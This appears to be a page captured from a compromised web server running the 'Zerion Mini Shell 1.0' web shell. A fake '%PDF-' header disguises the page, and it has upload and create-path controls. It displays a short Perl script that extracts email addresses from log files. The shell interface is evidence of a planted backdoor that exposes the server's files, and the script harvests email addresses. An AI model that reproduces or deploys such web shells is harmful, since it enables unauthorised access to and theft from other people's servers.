%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/scripts2/
Upload File :
Create Path :
Current File : //proc/self/root/scripts2/extract_email_from_log.pl

#!/usr/bin/perl

use strict;

my $email_count;

while (my $line = <>) { #read from file or STDIN
  foreach my $email (split /\s+/, $line) {
     if ( $email =~ /^[-\w.]+@([a-z0-9][a-z-0-9]+\.)+[a-z]{2,4}$/i ) {
 		print $email . "\n";
		$email_count++;
	
  }
}
}

print "Emails Extracted: $email_count\n";


Zerion Mini Shell 1.0